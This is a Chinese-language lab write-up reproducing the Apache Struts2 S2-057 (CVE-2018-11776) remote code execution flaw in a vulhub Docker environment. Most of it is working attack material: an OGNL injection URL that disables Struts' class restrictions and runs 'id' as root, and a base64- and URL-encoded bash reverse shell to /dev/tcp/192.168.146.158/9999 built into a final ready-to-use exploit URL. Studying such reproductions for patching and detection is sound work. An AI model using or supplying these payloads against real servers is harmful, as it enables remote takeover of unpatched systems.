CVE-2018-11776 S2-057 远程代码执行漏洞

原创

用户8478947

发布于 2022-12-08 14:26:24

3710

发布于 2022-12-08 14:26:24

文章被收录于专栏：安全学习

1 漏洞信息

漏洞名称	远程代码执行漏洞
漏洞编号	CVE-2018-11776
危害等级	高危
CVSS评分	8.5
漏洞类型	中间件漏洞
漏洞厂商	Apache
漏洞组件	Struts2
受影响版本	Struts2 <= 2.3.34，Struts2 = 2.5.16
漏洞概述	漏洞产生于网站配置XML时如果没有设置namespace的值，并且上层动作配置中并没有设置或使用通配符namespace时，可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值，并且上层动作并没有设置或使用通配符namespace，从而导致远程代码执行漏洞的发生。

2 环境搭建

2.1 环境概述

Linux操作系统

2.2 搭建过程

拉取镜像

 cd vulhub/struts2/s2-057
 docker-compose up -d

访问

3 漏洞复现

根据vulhub官网的poc，查看是否存在该漏洞。发现成功执行了333*3的语句，说明存在该漏洞。

 http://192.168.146.158:8057/struts2-showcase/$%7B333*3%7D/actionChain1.action

访问漏洞url并且添加恶意payload进行抓包。

 /struts2-showcase/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
 
 payload原型：
     /struts2-showcase/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action

发现成功执行了id命令，发现是root权限。

修改payload，执行反弹shell命令。

首先要监听端口，ip是攻击ip，不是漏洞靶机ip。这里没有再开另外一台机器，因此用和靶机同一台的ip进行接收所反弹的shell。

对要生成的反弹shell命令进行base编码，然后还要进行url编码

 这里的ip地址也是攻击机的ip地址
 bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
 
 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
 
 bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D

最终的反弹shell payload如下

 /struts2-showcase/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
 
 payload原型：
 /struts2-showcase/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action

反弹成功